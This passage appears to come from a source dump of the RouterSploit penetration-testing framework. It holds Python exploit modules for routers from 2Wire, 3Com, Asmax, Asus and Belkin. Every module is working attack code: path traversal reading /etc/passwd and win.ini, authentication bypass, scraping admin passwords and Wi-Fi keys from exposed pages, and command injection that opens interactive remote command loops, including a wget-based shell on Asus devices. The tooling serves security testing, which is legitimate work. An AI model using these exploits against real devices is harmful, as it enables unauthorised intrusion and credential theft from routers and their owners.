54 | if response is None: 55 | return 56 | 57 | print_status("Reading file {}".format(self.filename)) 58 | print_info(response.text) 59 | else: 60 | print_error("Target seems to be not vulnerable") 61 | 62 | @mute 63 | def check(self): 64 | url = "{}:{}/goform/enhAuthHandler".format(self.target, self.port) 65 | 66 | headers = {u"Content-Type": u"application/x-www-form-urlencoded"} 67 | 68 | data = {"__ENH_SHOW_REDIRECT_PATH__": "/pages/C_4_0.asp/../../../etc/passwd", 69 | "__ENH_SUBMIT_VALUE_SHOW__": "Acceder", 70 | "__ENH_SUBMIT_VALUE_SHOW__": "", 71 | "username": "tech"} 72 | 73 | response = http_request(method="POST", url=url, headers=headers, data=data) 74 | if response is None: 75 | return False # target is not vulnerable 76 | 77 | if "root:" in response.text: 78 | return True # target is vulnerable 79 | 80 | return False # target is not vulnerable 81 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/2wire/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/2wire/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/2wire/gateway_auth_bypass.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_success, 4 | print_error, 5 | print_info, 6 | http_request, 7 | mute, 8 | validators, 9 | ) 10 | 11 | 12 | class Exploit(exploits.Exploit): 13 | """ 14 | Exploit implementation for 2Wire Gateway devices Authentication Bypass vulnerability. 15 | If the target is vulnerable link to bypass authentication is provided" 16 | """ 17 | __info__ = { 18 | 'name': '2Wire Gateway Auth Bypass', 19 | 'description': 'Module exploits 2Wire Gateway authentication bypass vulnerability. ' 20 | 'If the target is vulnerable link to bypass authentication is provided.', 21 | 'authors': [ 22 | 'bugz', # vulnerability discovery 23 | 'Marcin Bury ', # routersploit module 24 | ], 25 | 'references': [ 26 | 'https://www.exploit-db.com/exploits/9459/', 27 | ], 28 | 'devices': [ 29 | '2Wire 2701HGV-W', 30 | '2Wire 3800HGV-B', 31 | '2Wire 3801HGV', 32 | ], 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 36 | port = exploits.Option(80, 'Target port') # default port 37 | 38 | def run(self): 39 | if self.check(): 40 | print_success("Target is vulnerable") 41 | print_info("\nUse your browser:") 42 | print_info("{}:{}/xslt".format(self.target, self.port)) 43 | else: 44 | print_error("Target seems to be not vulnerable") 45 | 46 | @mute 47 | def check(self): 48 | mark = '
' 49 | 50 | # checking if the target is valid 51 | url = "{}:{}/".format(self.target, self.port) 52 | 53 | response = http_request(method="GET", url=url) 54 | if response is None: 55 | return False # target is not vulnerable 56 | 57 | if mark not in response.text: 58 | return False # target is not vulnerable 59 | 60 | # checking if authentication can be bypassed 61 | url = "{}:{}/xslt".format(self.target, self.port) 62 | 63 | response = http_request(method="GET", url=url) 64 | if response is None: 65 | return False # target is not vulnerable 66 | 67 | if mark not in response.text: 68 | return True # target vulnerable 69 | 70 | return False # target not vulnerable 71 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/3com/3cradsl72_info_disclosure.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_status, 4 | print_error, 5 | print_info, 6 | print_success, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for 3Com 3CRADSL72 Information Disclosure vulnerability. 16 | If the target is vulnerable it allows to read sensitive information. 17 | """ 18 | __info__ = { 19 | 'name': '3Com 3CRADSL72 Info Disclosure', 20 | 'description': 'Exploits 3Com 3CRADSL72 information disclosure vulnerability that allows to fetch credentials for SQL sa account', 21 | 'authors': [ 22 | 'Karb0nOxyde ', # vulnerability discovery 23 | 'Ivan Casado Ruiz ', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'http://lostmon.blogspot.com/2005/04/3com-adsl-11g-cradsl72-router.html', 28 | 'http://www.securityfocus.com/bid/11408/exploit', 29 | ], 30 | 'devices': [ 31 | '3Com 3CRADSL72', 32 | ], 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 36 | port = exploits.Option(80, 'Target port') # default port 37 | 38 | resources = ["/app_sta.stm", 39 | "/cgi-bin/config.bin"] 40 | 41 | def run(self): 42 | for resource in self.resources: 43 | url = "{}:{}{}".format(self.target, self.port, resource) 44 | 45 | print_status("Sending request to download sensitive information") 46 | response = http_request(method="GET", url=url) 47 | if response is None: 48 | return 49 | 50 | if response.status_code == 200 and "password" in response.text: 51 | print_success("Exploit success") 52 | print_status("Reading {} file".format(resource)) 53 | print_info(response.text) 54 | else: 55 | print_error("Exploit failed - could not retrieve response") 56 | 57 | @mute 58 | def check(self): 59 | for resource in self.resources: 60 | url = "{}:{}{}".format(self.target, self.port, resource) 61 | 62 | response = http_request(method="GET", url=url) 63 | if response is None: 64 | continue 65 | 66 | if response.status_code == 200 and "password" in response.text: 67 | return True 68 | 69 | return False # target not vulnerable 70 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/3com/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/3com/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/3com/ap8760_password_disclosure.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_status, 6 | print_error, 7 | print_info, 8 | print_success, 9 | print_table, 10 | http_request, 11 | mute, 12 | validators, 13 | ) 14 | 15 | 16 | class Exploit(exploits.Exploit): 17 | """ 18 | Exploit implementation for 3Com AP8760 Password Disclosure vulnerability. 19 | If the target is vulnerable it is possible to fetch credentials for administration user. 20 | """ 21 | __info__ = { 22 | 'name': '3Com AP8760 Password Disclosure', 23 | 'description': 'Exploits 3Com AP8760 password disclosure vulnerability. If the target is vulnerable it is possible to fetch credentials for administration user.', 24 | 'authors': [ 25 | 'Richard Brain', # vulnerability discovery 26 | 'Marcin Bury ', # routersploit module 27 | ], 28 | 'references': [ 29 | 'http://www.procheckup.com/procheckup-labs/pr07-40/', 30 | ], 31 | 'devices': [ 32 | '3Com AP8760', 33 | ], 34 | } 35 | 36 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 37 | port = exploits.Option(80, 'Target port') # default port 38 | 39 | def run(self): 40 | creds = [] 41 | url = "{}:{}/s_brief.htm".format(self.target, self.port) 42 | 43 | print_status("Sending payload request") 44 | response = http_request(method="GET", url=url) 45 | if response is None: 46 | return 47 | 48 | print_status("Extracting credentials") 49 | username = re.findall('', response.text) 50 | password = re.findall('', response.text) 51 | 52 | if len(username) and len(password): 53 | print_success("Exploit success") 54 | creds.append((username[0], password[0])) 55 | print_table(("Login", "Password"), *creds) 56 | else: 57 | print_error("Exploit failed - could not extract credentials") 58 | 59 | @mute 60 | def check(self): 61 | url = "{}:{}/s_brief.htm".format(self.target, self.port) 62 | 63 | response = http_request(method="GET", url=url) 64 | if response is None: 65 | return False # target is not vulnerable 66 | 67 | if "szUsername" in response.text and "szPassword" in response.text: 68 | return True # target is vulnerable 69 | 70 | return False # target not vulnerable 71 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/3com/imc_info_disclosure.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_status, 4 | print_error, 5 | print_info, 6 | print_success, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for 3Com Intelligent Management Center Information Disclosure vulnerability. 16 | If the target is vulnerable it allows to read credentials for SQL sa account. 17 | """ 18 | __info__ = { 19 | 'name': '3Com IMC Info Disclosure', 20 | 'description': 'Exploits 3Com Intelligent Management Center information disclosure vulnerability that allows to fetch credentials for SQL sa account', 21 | 'authors': [ 22 | 'Richard Brain', # vulnerability discovery 23 | 'Marcin Bury ', # routersploit module 24 | ], 25 | 'references': [ 26 | 'https://www.exploit-db.com/exploits/12680/', 27 | ], 28 | 'devices': [ 29 | '3Com Intelligent Management Center', 30 | ], 31 | } 32 | 33 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 34 | port = exploits.Option(8080, 'Target port') # default port 35 | 36 | resources = ["/imc/reportscript/sqlserver/deploypara.properties", 37 | "/rpt/reportscript/sqlserver/deploypara.properties", 38 | "/imc/reportscript/oracle/deploypara.properties"] 39 | 40 | valid = None 41 | 42 | def run(self): 43 | if self.check(): 44 | print_success("Target seems to be vulnerable") 45 | url = "{}:{}{}".format(self.target, self.port, self.valid) 46 | 47 | print_status("Sending request to download sensitive information") 48 | response = http_request(method="GET", url=url) 49 | if response is None: 50 | return 51 | 52 | if response.status_code == 200 and len(response.text): 53 | print_status("Reading {}".format(self.valid)) 54 | print_info(response.text) 55 | else: 56 | print_error("Exploit failed - could not retrieve response") 57 | 58 | else: 59 | print_error("Exploit failed - target seems to be not vulnerable") 60 | 61 | @mute 62 | def check(self): 63 | for resource in self.resources: 64 | url = "{}:{}{}".format(self.target, self.port, resource) 65 | 66 | response = http_request(method="GET", url=url) 67 | if response is None: 68 | continue 69 | 70 | if any(map(lambda x: x in response.text, ["report.db.server.name", "report.db.server.sa.pass", "report.db.server.user.pass"])): 71 | self.valid = resource 72 | return True # target is vulnerable 73 | 74 | return False # target not vulnerable 75 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/3com/imc_path_traversal.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_status, 4 | print_error, 5 | print_info, 6 | print_success, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for 3Com Intelligent Management Center Path Traversal vulnerability. 16 | If the target is vulnerable it is possible to read file from the filesystem. 17 | """ 18 | __info__ = { 19 | 'name': '3Com IMC Path Traversal', 20 | 'description': 'Exploits 3Com Intelligent Management Center path traversal vulnerability. If the target is vulnerable it is possible to read file from the filesystem.', 21 | 'authors': [ 22 | 'Richard Brain', # vulnerability discovery 23 | 'Marcin Bury ', # routersploit module 24 | ], 25 | 'references': [ 26 | 'https://www.exploit-db.com/exploits/12679/', 27 | ], 28 | 'devices': [ 29 | '3Com Intelligent Management Center', 30 | ], 31 | } 32 | 33 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 34 | port = exploits.Option(8080, 'Target port') # default port 35 | filename = exploits.Option('\\windows\\win.ini', 'File to read from the filesystem') 36 | 37 | 38 | def run(self): 39 | if self.check(): 40 | print_success("Target seems to be vulnerable") 41 | url = "{}:{}/imc/report/DownloadReportSource?dirType=webapp&fileDir=reports&fileName=reportParaExample.xml..\..\..\..\..\..\..\..\..\..{}".format(self.target, self.port, self.filename) 42 | 43 | print_status("Sending paylaod request") 44 | response = http_request(method="GET", url=url) 45 | if response is None: 46 | return 47 | 48 | if response.status_code == 200 and len(response.text): 49 | print_success("Exploit success - reading {} file".format(self.filename)) 50 | print_info(response.text) 51 | else: 52 | print_error("Exploit failed - target seems to be not vulnerable") 53 | 54 | @mute 55 | def check(self): 56 | url = "{}:{}/imc/report/DownloadReportSource?dirType=webapp&fileDir=reports&fileName=reportParaExample.xml..\..\..\..\..\..\..\..\..\..\windows\win.ini".format(self.target, self.port) 57 | 58 | response = http_request(method="GET", url=url) 59 | if response is None: 60 | return False # target is not vulnerable 61 | 62 | if response.status_code == 200 and "[fonts]" in response.text: 63 | return True # target is vulnerable 64 | 65 | return False # target is not vulnerable 66 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/3com/officeconnect_info_disclosure.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_status, 4 | print_error, 5 | print_info, 6 | print_success, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for 3Com OfficeConnect Information Disclosure vulnerability. 16 | If the target is vulnerable it is possible to read sensitive information. 17 | """ 18 | __info__ = { 19 | 'name': '3Com OfficeConnect Info Disclosure', 20 | 'description': 'Exploits 3Com OfficeConnect information disclosure vulnerability. If the target is vulnerable it is possible to read sensitive information.', 21 | 'authors': [ 22 | 'Luca Carettoni ', # vulnerablity discovery 23 | 'iDefense', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'http://old.sebug.net/paper/Exploits-Archives/2009-exploits/0902-exploits/LC-2008-05.txt', 28 | 'http://seclists.org/vulnwatch/2005/q1/42', 29 | ], 30 | 'devices': [ 31 | '3Com OfficeConnect', 32 | ], 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 36 | port = exploits.Option(80, 'Target port') # default port 37 | 38 | resources = ["/SaveCfgFile.cgi", 39 | "/main/config.bin", 40 | "/main/profile.wlp?PN=ggg", 41 | "/main/event.logs"] 42 | 43 | valid = None 44 | 45 | def run(self): 46 | if self.check(): 47 | url = "{}:{}{}".format(self.target, self.port, self.valid) 48 | 49 | print_status("Sending payload request") 50 | response = http_request(method="GET", url=url) 51 | if response is None: 52 | return 53 | 54 | if response.status_code == 200 and len(response.text): 55 | print_success("Exploit success") 56 | print_info(response.text) 57 | else: 58 | print_error("Exploit failed - target seems to be not vulnerable") 59 | 60 | @mute 61 | def check(self): 62 | for resource in self.resources: 63 | url = "{}:{}{}".format(self.target, self.port, resource) 64 | 65 | response = http_request(method="GET", url=url) 66 | if response is None: 67 | return False # target is not vulnerable 68 | 69 | if "pppoe_username" in response.text and "pppoe_password" in response.text: 70 | self.valid = resource 71 | return True # target is vulnerable 72 | 73 | return False # target not vulnerable 74 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/3com/officeconnect_rce.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_success, 4 | print_status, 5 | print_error, 6 | print_info, 7 | http_request, 8 | random_text, 9 | mute, 10 | validators, 11 | ) 12 | 13 | 14 | class Exploit(exploits.Exploit): 15 | """ 16 | Exploit implementation for 3Com OfficeConnect Remote Command Execution vulnerability. 17 | If the target is vulnerable, command loop is invoked. 18 | """ 19 | __info__ = { 20 | 'name': '3Com OfficeConnect RCE', 21 | 'authors': [ 22 | 'Andrea Fabizi', # vulnerability discovery 23 | 'Marcin Bury ', # routersploit module 24 | ], 25 | 'description': 'Module exploits 3Com OfficeConnect remote command execution vulnerability which allows executing command on operating system level.', 26 | 'references': [ 27 | 'https://www.exploit-db.com/exploits/9862/', 28 | ], 29 | 'devices': [ 30 | '3Com OfficeConnect', 31 | ], 32 | } 33 | 34 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 35 | port = exploits.Option(80, 'Target Port') 36 | 37 | def run(self): 38 | if self.check(): 39 | print_success("Target is vulnerable") 40 | print_status("Invoking command loop...") 41 | print_status("It is blind command injection - response is not available") 42 | self.command_loop() 43 | else: 44 | print_error("Target is not vulnerable") 45 | 46 | def command_loop(self): 47 | while 1: 48 | cmd = raw_input("cmd > ") 49 | 50 | if cmd in ['exit', 'quit']: 51 | return 52 | 53 | print_info(self.execute(cmd)) 54 | 55 | def execute(self, cmd): 56 | url = "{}:{}/utility.cgi?testType=1&IP=aaa || {}".format(self.target, self.port, cmd) 57 | 58 | response = http_request(method="GET", url=url) 59 | if response is None: 60 | return "" 61 | 62 | return response.text 63 | 64 | @mute 65 | def check(self): 66 | url = "{}:{}/utility.cgi?testType=1&IP=aaa".format(self.target, self.port) 67 | 68 | response = http_request(method="GET", url=url) 69 | if response is None: 70 | return False # target is not vulnerable 71 | 72 | if response.status_code == 200: 73 | return True # target is vulnerable 74 | 75 | return False # target is not vulnerable 76 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/asmax/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/asmax/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/asmax/ar_1004g_password_disclosure.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_status, 6 | print_error, 7 | print_success, 8 | print_table, 9 | http_request, 10 | mute, 11 | validators, 12 | ) 13 | 14 | 15 | class Exploit(exploits.Exploit): 16 | """ 17 | Exploit implementation for Asmax AR1004G Password Disclosure vulnerability. 18 | If the target is vulnerable it allows to read credentials for admin, support and user." 19 | """ 20 | __info__ = { 21 | 'name': 'Asmax AR1004G Password Disclosure', 22 | 'description': 'Exploits asmax password disclosure vulnerability that allows to ' 23 | 'fetch credentials for: Admin, Support and User accounts.', 24 | 'authors': [ 25 | 'Marcin Bury ', # routersploit module 26 | ], 27 | 'references': [ 28 | 'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt', 29 | ], 30 | 'devices': [ 31 | 'Asmax AR 1004g', 32 | ], 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 36 | port = exploits.Option(80, 'Target port') # default port 37 | 38 | def run(self): 39 | creds = [] 40 | url = "{}:{}/password.cgi".format(self.target, self.port) 41 | 42 | response = http_request(method="GET", url=url) 43 | if response is None: 44 | return 45 | 46 | admin = re.findall("pwdAdmin = '(.+?)'", response.text) 47 | if admin: 48 | creds.append(('admin', admin[0])) 49 | 50 | support = re.findall("pwdSupport = '(.+?)'", response.text) 51 | if support: 52 | creds.append(('support', support[0])) 53 | 54 | user = re.findall("pwdUser = '(.+?)'", response.text) 55 | if user: 56 | creds.append(('user', user[0])) 57 | 58 | if creds: 59 | print_success("Credentials found!") 60 | print_table(("Login", "Password"), *creds) 61 | else: 62 | print_error("Credentials could not be found") 63 | 64 | @mute 65 | def check(self): 66 | url = "{}:{}/password.cgi".format(self.target, self.port) 67 | 68 | response = http_request(method="GET", url=url) 69 | if response is None: 70 | return False # target is not vulnerable 71 | 72 | if any(map(lambda x: x in response.text, ["pwdSupport", "pwdUser", "pwdAdmin"])): 73 | return True # target vulnerable 74 | 75 | return False # target not vulnerable 76 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/asmax/ar_804_gu_rce.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_success, 4 | print_status, 5 | print_error, 6 | http_request, 7 | random_text, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for Asmax AR 804 Remote Code Execution vulnerability. 16 | If the target is vulnerable, command loop is invoked that allows executing commands with root privileges. 17 | """ 18 | __info__ = { 19 | 'name': 'Asmax AR 804 RCE', 20 | 'authors': [ 21 | 'Michal Sajdak ', # vulnerability discovery 22 | 'Marcin Bury ', # routersploit module 23 | ], 24 | 'description': 'Module exploits Asmax AR 804 Remote Code Execution vulnerability which ' 25 | 'allows executing command on operating system level with root privileges.', 26 | 'references': [ 27 | 'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise', 28 | 'https://www.exploit-db.com/exploits/8846/', 29 | ], 30 | 'devices': [ 31 | 'Asmax AR 804 gu', 32 | ], 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 36 | port = exploits.Option(80, 'Target Port') 37 | 38 | def run(self): 39 | if self.check(): 40 | print_success("Target is vulnerable") 41 | print_status("Invoking command loop...") 42 | self.command_loop() 43 | else: 44 | print_error("Target is not vulnerable") 45 | 46 | def command_loop(self): 47 | while 1: 48 | cmd = raw_input("cmd > ") 49 | 50 | if cmd in ['exit', 'quit']: 51 | return 52 | 53 | print self.execute(cmd) 54 | 55 | def execute(self, cmd): 56 | url = "{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd) 57 | 58 | response = http_request(method="GET", url=url) 59 | if response is None: 60 | return "" 61 | 62 | return response.text 63 | 64 | @mute 65 | def check(self): 66 | cmd = "cat /etc/passwd" 67 | url = "{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd) 68 | 69 | response = http_request(method="GET", url=url) 70 | if response is None: 71 | return False # target is not vulnerable 72 | 73 | if response.status_code == 200 and "root:" in response.text: 74 | return True # target is vulnerable 75 | 76 | return False # target is not vulnerable 77 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/asus/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/asus/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/asus/infosvr_backdoor_rce.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import os 4 | 5 | from routersploit import ( 6 | exploits, 7 | print_status, 8 | print_success, 9 | print_error, 10 | shell, 11 | ) 12 | 13 | 14 | class Exploit(exploits.Exploit): 15 | """ 16 | Exploit implementation for multiple ASUS's Remote Code Execution vulnerability, known as infosvr UDP Broadcast root command execution aka CVE-2014-9583. 17 | If the target is vulnerable, command loop is invoked that allows executing commands on operating system level. 18 | """ 19 | __info__ = { 20 | 'name': 'Asus Infosvr Backdoor RCE', 21 | 'description': 'Module exploits remote command execution in multiple ASUS devices. If the target is ' 22 | 'vulnerable, command loop is invoked that allows executing commands on operating system level.', 23 | 'authors': [ 24 | 'Joshua \"jduck\" Drake; @jduck', # vulnerability discovery 25 | 'Friedrich Postelstorfer', # original Python exploit 26 | 'Michal Bentkowski; @SecurityMB', # routersploit module 27 | ], 28 | 'references': [ 29 | 'https://github.com/jduck/asus-cmd', 30 | ], 31 | 'devices': [ 32 | 'ASUS RT-N66U', 33 | 'ASUS RT-AC87U', 34 | 'ASUS RT-N56U', 35 | 'ASUS RT-AC68U', 36 | 'ASUS DSL-N55U', 37 | 'ASUS DSL-AC68U', 38 | 'ASUS RT-AC66R', 39 | 'ASUS RT-AC66R', 40 | 'ASUS RT-AC55U', 41 | 'ASUS RT-N12HP_B1', 42 | 'ASUS RT-N16', 43 | ], 44 | } 45 | 46 | target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') 47 | 48 | def run(self): 49 | try: 50 | if self.check(): 51 | print_success("Target is vulnerable") 52 | print_status("Invoking command loop...") 53 | print_status("Please note that only first 256 characters of the " 54 | "output will be displayed or use reverse_tcp") 55 | shell(self, architecture="arm", method="wget", binary="wget", location="/tmp") 56 | else: 57 | print_error("Target is not vulnerable") 58 | except socket.error as ex: 59 | print_error("Socket error ({ex}). It most likely means that something " 60 | "else is listening locally on port UDP:{port}. Make sure to " 61 | "kill it before running the exploit again.".format(ex=ex, port=9999)) 62 | 63 | def execute(self, cmd): 64 | if len(cmd) > 237: 65 | print_error('Your command must be at most 237 characters long. Longer strings might crash the server.') 66 | return 67 | 68 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 69 | sock.bind(('0.0.0.0', 9999)) 70 | sock.settimeout(2) 71 | 72 | packet = (b'\x0C\x15\x33\x00'+ os.urandom(4) + (b'\x00' * 38) + struct.pack('', # routersploit module 25 | ], 26 | 'references': [ 27 | 'https://sintonen.fi/advisories/asus-router-auth-bypass.txt' 28 | ], 29 | 'devices': [ 30 | 'ASUS RT-N10U, firmware 3.0.0.4.374_168', 31 | 'ASUS RT-N56U, firmware 3.0.0.4.374_979', 32 | 'ASUS DSL-N55U, firmware 3.0.0.4.374_1397', 33 | 'ASUS RT-AC66U, firmware 3.0.0.4.374_2050', 34 | 'ASUS RT-N15U, firmware 3.0.0.4.374_16', 35 | 'ASUS RT-N53, firmware 3.0.0.4.374_311', 36 | ], 37 | } 38 | 39 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 40 | port = exploits.Option(8080, 'Target port') # default port 41 | 42 | def run(self): 43 | url = "{}:{}/error_page.htm".format(self.target, self.port) 44 | 45 | response = http_request(method="GET", url=url) 46 | if response is None: 47 | return 48 | 49 | creds = re.findall("if\('1' == '0' \|\| '(.+?)' == 'admin'\)", response.text) 50 | 51 | if len(creds): 52 | c = [("admin", creds[0])] 53 | print_success("Credentials found!") 54 | headers = ("Login", "Password") 55 | print_table(headers, *c) 56 | else: 57 | print_error("Credentials could not be found") 58 | 59 | @mute 60 | def check(self): 61 | url = "{}:{}/error_page.htm".format(self.target, self.port) 62 | 63 | response = http_request(method="GET", url=url) 64 | if response is None: 65 | return False # target is not vulnerable 66 | 67 | creds = re.findall("if\('1' == '0' \|\| '(.+?)' == 'admin'\)", response.text) 68 | 69 | if len(creds): 70 | return True # target is vulnerable 71 | 72 | return False # target is not vulnerable 73 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/belkin/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/belkin/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/belkin/g_n150_password_disclosure.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_error, 6 | print_success, 7 | print_table, 8 | http_request, 9 | mute, 10 | validators, 11 | ) 12 | 13 | 14 | class Exploit(exploits.Exploit): 15 | """ 16 | Exploit implementation for Belkin G and N150 Password MD5 Disclosure vulnerability. 17 | If the target is vulnerable, password in MD5 format is returned. 18 | """ 19 | __info__ = { 20 | 'name': 'Belkin G & N150 Password Disclosure', 21 | 'description': 'Module exploits Belkin G and N150 Password MD5 Disclosure vulnerability which allows fetching administration\'s password in md5 format', 22 | 'authors': [ 23 | 'Aodrulez ', # vulnerability discovery 24 | 'Avinash Tangirala', # vulnerability discovery 25 | 'Marcin Bury ', # routersploit module 26 | ], 27 | 'references': [ 28 | 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2765', 29 | 'https://www.exploit-db.com/exploits/17349/', 30 | ], 31 | 'devices': [ 32 | 'Belkin G', 33 | 'Belkin N150', 34 | ], 35 | } 36 | 37 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 38 | port = exploits.Option(80, 'Target Port') 39 | 40 | def run(self): 41 | url = "{}:{}/login.stm".format(self.target, self.port) 42 | 43 | response = http_request(method="GET", url=url) 44 | if response is None: 45 | return 46 | 47 | val = re.findall('password = "(.+?)"', response.text) 48 | 49 | if len(val): 50 | print_success("Exploit success") 51 | data = [('admin', val[0])] 52 | headers = ("Login", "MD5 Password") 53 | print_table(headers, *data) 54 | 55 | else: 56 | print_error("Exploit failed. Device seems to be not vulnerable.") 57 | 58 | @mute 59 | def check(self): 60 | url = "{}:{}/login.stm".format(self.target, self.port) 61 | 62 | response = http_request(method="GET", url=url) 63 | if response is None: 64 | return False # target is not vulnerable 65 | 66 | val = re.findall('password = "(.+?)"', response.text) 67 | 68 | if len(val): 69 | return True # target vulnerable 70 | 71 | return False # target is not vulnerable 72 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/belkin/g_plus_info_disclosure.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_success, 6 | print_error, 7 | print_table, 8 | http_request, 9 | mute, 10 | validators, 11 | ) 12 | 13 | 14 | class Exploit(exploits.Exploit): 15 | """ 16 | Exploit implementation for Belkin Wireless G Plus MIMO Router F5D9230-4 information disclosure vulnerability. 17 | If the target is vulnerable, sensitive information such as credentials are returned. 18 | """ 19 | __info__ = { 20 | 'name': 'Belkin G Info Disclosure', 21 | 'description': 'Module exploits Belkin Wireless G Plus MIMO Router F5D9230-4 information disclosure vulnerability which allows fetching sensitive information such as credentials.', 22 | 'authors': [ 23 | 'DarkFig', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0403', 28 | 'https://www.exploit-db.com/exploits/4941/', 29 | ], 30 | 'devices': [ 31 | 'Belkin G', 32 | ], 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 36 | port = exploits.Option(80, 'Target Port') 37 | 38 | def run(self): 39 | url = "{}:{}/SaveCfgFile.cgi".format(self.target, self.port) 40 | 41 | response = http_request(method="GET", url=url) 42 | if response is None: 43 | return 44 | 45 | var = ['pppoe_username', 46 | 'pppoe_password', 47 | 'wl0_pskkey', 48 | 'wl0_key1', 49 | 'mradius_password', 50 | 'mradius_secret', 51 | 'httpd_password', 52 | 'http_passwd', 53 | 'pppoe_passwd'] 54 | 55 | data = [] 56 | for v in var: 57 | regexp = '{}="(.+?)"'.format(v) 58 | 59 | val = re.findall(regexp, response.text) 60 | if len(val): 61 | data.append((v, val[0])) 62 | 63 | if len(data): 64 | print_success("Exploit success") 65 | headers = ("Option", "Value") 66 | print_table(headers, *data) 67 | 68 | else: 69 | print_error("Exploit failed") 70 | 71 | @mute 72 | def check(self): 73 | url = "{}:{}/SaveCfgFile.cgi".format(self.target, self.port) 74 | 75 | response = http_request(method="GET", url=url) 76 | if response is None: 77 | return False # target is not vulnerable 78 | 79 | var = ['pppoe_username', 80 | 'pppoe_password', 81 | 'wl0_pskkey', 82 | 'wl0_key1', 83 | 'mradius_password', 84 | 'mradius_secret', 85 | 'httpd_password', 86 | 'http_passwd', 87 | 'pppoe_passwd'] 88 | 89 | if any(map(lambda x: x in response.text, var)): 90 | return True # target 